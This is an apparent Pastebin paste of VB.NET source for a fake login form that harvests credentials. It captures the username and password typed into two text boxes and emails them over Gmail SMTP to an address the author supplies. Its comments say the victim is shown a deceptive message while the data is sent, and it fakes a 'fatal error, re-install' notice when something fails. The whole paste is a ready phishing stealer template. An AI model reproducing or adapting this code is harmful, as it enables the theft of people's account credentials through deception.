Guest User

Untitled

a guest
Oct 7th, 2018
494
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6. Dim MyMailMessage As New MailMessage
  7. Try
  8. If TextBox1.Text & TextBox2.Text = "" Then
  9. Call MsgBox("Please Enter A User Name and Password!", , "Error!")
  10. End If
  11. MyMailMessage.From() = New MailAddress("EMAILHERE") 'Email.
  12. MyMailMessage.To.Add("EMAIL") 'Replace The X's with your GMAIL Address
  13. MyMailMessage.Subject = "Account Information"
  14. MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
  15. Dim SMTP As New SmtpClient("smtp.gmail.com")
  16. SMTP.Port = 587
  17. SMTP.EnableSsl = True
  18. SMTP.Credentials = New System.Net.NetworkCredential("EMAIL", "PASS")
  19. SMTP.Send(MyMailMessage)
  20. 'The Below Message is the Fail Message they get, during this message it will email the information to your email
  21. Call MsgBox("It worked", , "Done!")
  22. Catch ex As Exception
  23. 'If The Program Does Run Into An Actually Real Error The Following Will Occur and close the program
  24. Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program"(MsgBoxStyle.Critical))
  25. Application.Exit()
  26. End Try
  27. End Sub
Add Comment
Please, Sign In to add comment